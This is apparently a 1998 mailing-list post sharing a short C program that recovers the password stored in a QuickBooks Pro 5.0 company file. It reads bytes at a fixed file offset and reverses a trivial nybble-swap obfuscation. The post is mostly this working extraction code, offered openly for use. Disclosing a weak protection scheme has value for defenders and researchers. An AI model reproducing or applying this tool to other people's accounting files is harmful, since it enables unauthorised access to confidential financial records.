Here's code that gets password for QuickBooks Pro

Eric Blossom (eb@starium.com)
Tue, 18 Aug 1998 18:25:08 -0700

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Hi,

Here's a simple hack that extracts the not very cleverly hidden
password stored in QuickBooks. I've only tested it with QuickBooks
Pro version 5.0.

Enjoy,
Eric

/* -*-C-*-
*******************************************************************************
*
* File: get-qb-pw.c
* RCS: $Id: $
* Description: get the "quick books pro" password
* Author: Eric Blossom
* Created: Tue Aug 18 14:09:30 1998
* Modified: Tue Aug 18 17:39:22 1998 (eric) eb@starium.com
* Language: C
* Package: N/A
* Status: Experimental (Do Not Distribute)
*
*******************************************************************************
*/

/*
 * This has been tested only on QuickBooks Pro version 5.0
 */

#include <stdio.h>

main (int argc, char **argv)
{
  FILE *fp;
  int i;
  unsigned char raw[10];

  if (argc != 2){
    fprintf (stderr, "usage: get-qb-pw filename\n");
    exit (1);
  }

  if ((fp = fopen (argv[1], "rb")) == 0){
    perror (argv[0]);
    exit (1);
  }

  if (fseek (fp, 7635, SEEK_SET) != 0){
    perror ("fseek failed");
    exit (1);
  }

  if (fread (raw, 1, 10, fp) != 10){
    perror ("fread failed");
    exit (1);
  }

  for (i = 9; i >= 0; i--){
    int t;
    
    if (raw[i] == 0)
      continue;

    t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4) & 0xf); /* swap nybbles */
    putchar (-t + 255);
  }

  putchar ('\n');
}

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